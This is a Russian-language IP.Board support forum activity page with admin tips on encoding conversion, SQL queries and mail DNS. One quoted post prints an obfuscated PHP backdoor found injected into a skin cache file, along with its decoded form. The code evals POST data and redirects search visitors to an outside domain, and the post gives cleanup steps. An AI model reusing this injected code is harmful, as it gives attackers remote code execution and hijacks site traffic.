Перейти к содержанию

spoken

Актив
  • Постов

    1120
  • Зарегистрирован

  • Посещение

  • Победитель дней

    18

Активность репутации

  1. Лайк
    spoken получил реакцию от benix в IPS Community Suite 4.0 - В ожидании релиза...   
    Много почитал по 4.0 на их сайте. Да, вкусности есть. Как для пользователей, так и для разработчиков. Но цена высока: несовместимость с темами и приложениями/хуками, требования к ресурсам, более высокий порог вхождения для разработчиков. Многие вещи упростились, но упростились за счёт использования новых техник в программировании и новых фреймворков. То есть, чтобы просто сделать вещь нужно больше знать при этом.
     
    Такие вот пока впечатления.
  2. Лайк
    spoken получил реакцию от benix в Конвертирование кодировки базы данных из cp1251 в utf8   
    Respected, спасибо.
     
    На самом деле делать перекодировку через дамп это глупость. Есть скрипт, который перекодирует БД без дампа. Просто положить его в корень форума и запустить.


    Скрипт такой. Сохранить под любым именем в корень форума и перейти по адресу скрипта.
    <?php // Database info include("conf_global.php"); $dbhost = $INFO['sql_host']; $dbuser = $INFO['sql_user']; $dbpass = $INFO['sql_pass']; $dbname = $INFO['sql_database']; //--------------- header('Content-type: text/plain'); $dbconn = mysql_connect($dbhost, $dbuser, $dbpass) or die( mysql_error() ); $db = mysql_select_db($dbname) or die( mysql_error() ); $timer['start'] = microtime(true); $sql = "ALTER DATABASE `".$dbname."` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci"; $result = mysql_query($sql) or die( mysql_error() ); print "Database changed to UTF-8.n"; $sql = 'SHOW TABLES'; $result = mysql_query($sql) or die( mysql_error() ); $sql = array(); while ( $row = mysql_fetch_row($result) ) { $table = mysql_real_escape_string($row[0]); $sql = "ALTER TABLE {$table} DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci, CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci"; mysql_query($sql) or die( mysql_error() ); print "{$table} changed to UTF-8.n"; } mysql_close($dbconn); $timer['end'] = microtime(true) - $timer['start']; echo "nPage generated in ". round( $timer['end'], 4 ); ?>
  3. Лайк
    spoken получил реакцию от Алексей Перевощиков в Конвертирование кодировки базы данных из cp1251 в utf8   
    Respected, спасибо.
     
    На самом деле делать перекодировку через дамп это глупость. Есть скрипт, который перекодирует БД без дампа. Просто положить его в корень форума и запустить.


    Скрипт такой. Сохранить под любым именем в корень форума и перейти по адресу скрипта.
    <?php // Database info include("conf_global.php"); $dbhost = $INFO['sql_host']; $dbuser = $INFO['sql_user']; $dbpass = $INFO['sql_pass']; $dbname = $INFO['sql_database']; //--------------- header('Content-type: text/plain'); $dbconn = mysql_connect($dbhost, $dbuser, $dbpass) or die( mysql_error() ); $db = mysql_select_db($dbname) or die( mysql_error() ); $timer['start'] = microtime(true); $sql = "ALTER DATABASE `".$dbname."` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci"; $result = mysql_query($sql) or die( mysql_error() ); print "Database changed to UTF-8.n"; $sql = 'SHOW TABLES'; $result = mysql_query($sql) or die( mysql_error() ); $sql = array(); while ( $row = mysql_fetch_row($result) ) { $table = mysql_real_escape_string($row[0]); $sql = "ALTER TABLE {$table} DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci, CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci"; mysql_query($sql) or die( mysql_error() ); print "{$table} changed to UTF-8.n"; } mysql_close($dbconn); $timer['end'] = microtime(true) - $timer['start']; echo "nPage generated in ". round( $timer['end'], 4 ); ?>
  4. Лайк
    spoken получил реакцию от akiser в Ошибка при установки движка IPB   
    На Хостингере работать не будет.
  5. Лайк
    spoken отреагировална пост Viktar83 в YouTube BBCode   
    Зайдите в медиа-теги и поправьте тег для YouTu.be,
    вместо
    http://(www.)?youtu.be/([\d\w-_]+?)  вот так попробуйте:
    http(?:s)?://(www.)?youtu.be/([\d\w-_]+?)  
  6. Лайк
    spoken получил реакцию от azatx в репутация (рейтинг) поста   
    Последний патч безопасности влияет только на модуль сжатия CSS и JS. Попробуйте отключить это сжатие в АЦ.
  7. Лайк
    spoken получил реакцию от mazik001 в Панель модератора отображается у всех   
    WantedUser, повторюсь, что даже в стандартном стиле такое наблюдается.
     
    Да, проверки в globalTemplate нет, буду переделывать.
    <li><a href="{parse url="app=core&amp;module=modcp" base="public"}" title='{$this->lang->words['gbl_modcp_link_title']}'>{$this->lang->words['gbl_modcp_link']}</a> </li> Вот для входа в АЦ проверка есть.
  8. Лайк
    spoken получил реакцию от RsssQaaa в Надпись ниже копирайта   
    WantedUser, видел, просто уточнил. Сейчас глубже ворвусь в шаблон.

    Копирайт там выводится хитро.

    {$footer_items['copyright']}

    $footer_items это массив, переменная шаблона.

    Этот код разворачивается в такое:

    <!-- Copyright Information -->
    <p id='copyright'>Система для сообществ IP.Board<br />Лицензия зарегистрирована на: Имя<div style='display:none'><a href=>Игры на android</a><a href=>Скачать IPB 3.4</a></div></p>
    <!-- / Copyright -->

    Пипец, это нулл мне игры на андроид и прочее впихнул? И причём тут ipbmaster? Я и не качал вроде оттуда ничего. Разберусь, откуда вылезло.

    Короче, добавление нового параграфа с text-align: right; должно вам помочь. Добавлять его надо после {$footer_items['copyright']}
  9. Лайк
    spoken отреагировална пост Sanshalay в Friendly URL Translit   
    Просмотр файла Friendly URL Translit
    Информация о плагине
    Некоторые браузеры не могут корректно работать с кириллическими ссылками. Этот простой плагин будет конвертировать все кириллические символы в латинские во всех новых ссылках в вашем IPS Community Suite. Не рекомендуется использовать на сайтах с кириллическими доменами.
    Инструкция по установке
    Извлеките XML-файл из ZIP-архива. Войдите в Админцентр вашего сайта. Перейдите в "Система" > "Плагины" и нажмите кнопку "Установить". Выберите XML-файл и нажмите "Установить". Перейдите в настройки плагина и выберите нужный язык. Добавил Sanshalay Добавлено 19.02.2015 Категория Интерфейс Язык Язык: Русский
  10. Лайк
    spoken получил реакцию от Respected в хештеги, возможно ли?   
    Снова ничего непонятно.
     
    Через custom bbcode дофига что можно сделать.
  11. Лайк
    spoken отреагировална пост HooLIGUN в Убрать префиксы групп из UserInfo   
    Найти
    <li class='group_title'> {$author['_group_formatted']} </li> Заменить на:
    <php> $group_name = substr("{$author['_group_formatted']}", 6); </php> <li class='group_title'> {$group_name} </li> Где число 6 - кол-во символов,которое нужно обрезать.
  12. Лайк
    spoken получил реакцию от AlexBrtn в Сжатие базы форума и очистка от мусора   
    Срочно к изучению >эта тема.
  13. Лайк
    spoken получил реакцию от AUS в Сжатие базы форума и очистка от мусора   
    Срочно к изучению >эта тема.
  14. Лайк
    spoken отреагировална пост pcmist в Редирект, слив трафика   
    Такая же беда с пациентом 3.4.7
    Выпали все странички из яшки. Написал Платону, на что был дан коротенький ответ
     
    Копнул поиском и нашел таких проблем много.
    Добавлю сюда для инфы
    В кэш файл скина skin_global.php, а также и в кэш, расположенный в БД дописывается вот такой код:
    $k='b2488714339183624a45a9373ae8d945'; $mds='O7Agi6;AxO2IXFOB@FOiDZ"&Dfg[A/&a,JnsjfgvkZ,_;vo)A<&[Jf/IAJo)B~E"A}"cO~4ckUF"AJoP;ZR$Jf/~Bv&~B~Bx%U"KDZ"@Dfz7,_&gBsD7Bs%sLTlcj=_c,0VcB=ogFUE"J_C^{_4;DZ(Fk}ggFvRxkZDVBf{foR&",<o7,Z{@B=4~J=D7FTWakU4]{W&./Rx"A_)ck}"KDe{&neC~,<F];<R)wfE@D~o0;=4uB=Cc,Z/~]Zo~wJFx]eoxFJDP]egV;v4gOUocD~P"J_oR{g,R{gxs}R4{{R&/{)/}J)Re4{${D_)cj~4v^{CPwJDa,/&_BvP@DR&.4/D<4/D;D)V{/RC]{"/Z4/DR{0FFk.x"wa_lDZ,;DfV7B=nsJ.x"B>_lBeDg,_&(wJ4>AUEsYfzcFv/BLvo7;Jzs;f&s;Z/BLsz$w<V7;_P[]ZDc;vB[wf&(]egV;v4gORP[Bs/uBvR(wvzgBgP[Bs/uwvRc,e/BL0ocD~P"w~"KDZE&DR&.4/D<4/D;D)V{/RC]}W&./UFFj~40^}4)AZgaL.$a,J4)A<$sB_xswf&7AfggJfg"D_)KDZB&DZY[D=ogB=oc;f$]A<nsj~4g^}40L0Fxw<$sJfg"Dax",T_g;JC)O}E"J_oR{g,R{gxs}R4{{R&wJ)_^<0FFk.(c,0Vg;JC)O}E"J)o^.)(D4/x",/)ckJ(c,0VcB=ogFUE"J)FR/RxsAJC0F0FFk}wvkURg;JC)O}E"J)FR/Rxs,~FFk}"vD0EV,<_PFe"@DR&T.)&L}{/;DZFFk}"cOfgvkU4>^.)"AUgKA<w@DZncBf/)wf&7AfggkU4gLUFg;0BxFZg(,}Ecka%f%TlPk.x";._aF<DaFeY@;<n_kU4@k}PPLTEcj=C~A<$)kUD";fo_;</[FU$x;foVFZg7;>)sAe4)BT@7L=/~;T4aAZ&~FU$c;v,7L=x";J)sY0"K]</IAJnK]<gvkUEVDe{cD0w"B0gKDWgnn"V{.{P[^}YuBfo~AJC)Ye4$BZ{&D=4gOen7AvRfwJo>BvgPFUBEB=D>^}FKDe4@AJ%(^sogFe4c;vFa<~F0;fR~,R&_BvPsJJ)7A<$",JE[BZVP^fgPwsw&O~4)AZgaL.$~,<FcB=4~O})`BV3iI=N`;=/)Be/)L.$V;s4cnfR>AZ/YwJo@]},V;JlK,a_SB~B`BV3iI=N`^U&aw=DcBen`BV3iI=N`Y>(&]nNNq'; $jsa='jEK!u>WQ^CfRP98_%Xwtk&5qJh0?1Nz{Zi:/vd[s|cO@#-<+=]M"o`y.UAmrG*aeg,2}Tbl(Fx~4SB$3YDIHLn7)pV6'; $jsb='Og7+8jE>PB2Fw`~1M_Y#K9b-;X=i]|)xUG(<Vm&un%peo^}W*3f:kN.?TCa!,{[zHlZ6SD"AtdsyRqc5rIJ4/LQv0$h@'; $i='#c#'.substr($mds,213,1); $ipd=preg_replace($i,strtr($mds,$jsa,$jsb),'css'); Если его декодировать
     
    $i='ini_set'; if(function_exists($i)){ $i('display_errors',0); $i('log_errors',0); } if(isset($_POST[$k]))eval(base64_decode(str_rot13($_POST[$k]))); $u=@preg_match('#bot|spider|crawl|slurp|yandex#i',$_SERVER['HTTP_USER_AGENT']); $f=@parse_url($_SERVER['HTTP_REFERER']); $c=@$f['host']; $r=@preg_match('#live.com|google.|yahoo.|bing.com|yandex.ru|rambler.ru|baidu.#i',$c); $h=$_SERVER['HTTP_HOST']; $b=$this->settings['cookie_id']; $g=$b.'session_id'; $e=$b.'lang_id'; $d=empty($_SERVER['HTTP_X_MOZ']); if(empty($_COOKIE[$e])){ if(isset($_GET['ipbv'])&&(!empty($_GET['g']))&&(!empty($_COOKIE[$g]))){ if($c==$h){ if($d)setcookie($e,'en',time()+36000); $m=substr(md5($h),0,8); print("document.location='__url4short.info/{$m}'"); } exit;} if((!$u)&&$r){$IPBHTML.="";} } Причем стоит обратить внимание, что куки записываются на 10 часов - 36000 секунд.  Переходя из поиска к вам на сайт, пациента перекидывает на урл4шот.инфо Через 10 часов куки отваливаются и пациент будет заходить нормально.
     
    Решение: Очистить от ЛИШНЕГО кода указанного выше, в файле /cache/skin_cache/cacheid_1/skin_global.php
     
    Перестроить все кэши Внешний вид --->Инструменты
     
    Надеюсь решение кому то может.
  15. Лайк
    spoken получил реакцию от AlexBrtn в А у вас есть такое?   
    AlexBrtn, да, она самая.
  16. Лайк
    spoken получил реакцию от Respected в Удалить все изменения репутации от определенных пользователей   
    Нда, админ такого крупного форума без навыков работы с БД.
     
    Посмотри результат такого запроса
    SELECT * FROM ibf_reputation_index where member_id=4; Вместо 4 подставь идентификатор нужного пользователя.

    Для удаления такой запрос
    delete FROM ibf_reputation_index where member_id=4; commit; где 4 это идентификатор нужного пользователя.

    А такой запрос покажет содержимое постов, которые он лайкал
    select author_name,post from ibf_posts where pid in (SELECT type_id FROM ibf_reputation_index where member_id=4 and type='pid');
  17. Лайк
    spoken получил реакцию от AUYKGN в Удалить все изменения репутации от определенных пользователей   
    Нда, админ такого крупного форума без навыков работы с БД.
     
    Посмотри результат такого запроса
    SELECT * FROM ibf_reputation_index where member_id=4; Вместо 4 подставь идентификатор нужного пользователя.

    Для удаления такой запрос
    delete FROM ibf_reputation_index where member_id=4; commit; где 4 это идентификатор нужного пользователя.

    А такой запрос покажет содержимое постов, которые он лайкал
    select author_name,post from ibf_posts where pid in (SELECT type_id FROM ibf_reputation_index where member_id=4 and type='pid');
  18. Лайк
    spoken получил реакцию от AUYKGN в Скрыть отдельных пользователей в группе   
    Проще дать права пользователям через вторичные группы. Я на форуме обычный пользователь, а вторичная группа модераторов. В результате в группе модераторов я не отображаюсь, а все её права имею.
  19. Лайк
    spoken получил реакцию от Efremov в Скрыть отдельных пользователей в группе   
    Проще дать права пользователям через вторичные группы. Я на форуме обычный пользователь, а вторичная группа модераторов. В результате в группе модераторов я не отображаюсь, а все её права имею.
  20. Лайк
    spoken отреагировална пост WOLF в Лучший модератор 2014   
    Лучшим модератором 2014 года, по мнению наших форумчан становится WOLF.


    -------------------------------------------------------------------------
    От себя хочу добавить. 
    Спасибо всем, кто принял участие в голосование, а еще больше спасибо тем, кто оставил свое мнения о том или ином модераторе. Для меня лично очень важно было узнать именно ваши мнения, узнать свои минусы и плюсы, чтобы возможно в дальнейшем стать лучше, лучше для вас, и для самого себя в целом. 
    Буду стараться, буду трудится, постараюсь никого не обидеть. Ну а если кого и обидел в 2014, уж извините, все мы люди, у каждого свои проблемы, свой характер, и свой взгляд на мир. Спасибо что вы с нами, Спасибо что вы на волне Мафии.
     
    С уважением, ваш 
    WOLF.
  21. Лайк
    spoken получил реакцию от Respected в Как настроить почту?   
    А нафига MX запись указывает на IP твоего форума? Она должна указывать на SMTP-сервера Яндекса.
     
    Записи для mail.forumpchelp.ru смотри, там другой IP должен быть.

    При корректной настройке nslookup mail.forumpchelp.ru должен выдавать такое
     
    Name:    mail.yandex.ru
    Addresses:  87.250.251.25, 213.180.193.25, 213.180.204.25, 87.250.250.25
              93.158.134.25
    Aliases:  mail.forumpchelp.ru, domain.mail.yandex.net

    Тут инструкции по настройке
    __help.yandex.ru/pdd/records.xml
  22. Лайк
    spoken получил реакцию от Andross в Чем разбить БД?   
    Andross, вбей эту ошибку в google. Это что-то с праметрами mysql самого.

    __wiki.bitel.ru/index.php/%D0%A0%D0%B5%D0%BA%D0%BE%D0%BC%D0%B5%D0%BD%D0%B4%D0%B0%D1%86%D0%B8%D0%B8_%D0%BF%D0%BE_%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B5_MySQL
  23. Лайк
    spoken получил реакцию от Andross в Чем разбить БД?   
    1. права на файл дампа. Проверить через ls -la /var/www/prandros/data/www/forumpchelp.ru/bazasql/
    2. пробуй под root, только это не системный root, а root сервера mysql, поэтому пароли у них разные.
  24. Лайк
    spoken получил реакцию от Andross в Чем разбить БД?   
    cd /var/www/prandros/data/www/forumpchelp.ru/bazasql/
  25. Лайк
    spoken получил реакцию от Andross в Чем разбить БД?   
    Ну, если с консолью и phpmyadmin не получается, то попробуй какой-нибудь Sypex Dumper. Он тут был, вроде.
×
×
  • Создать...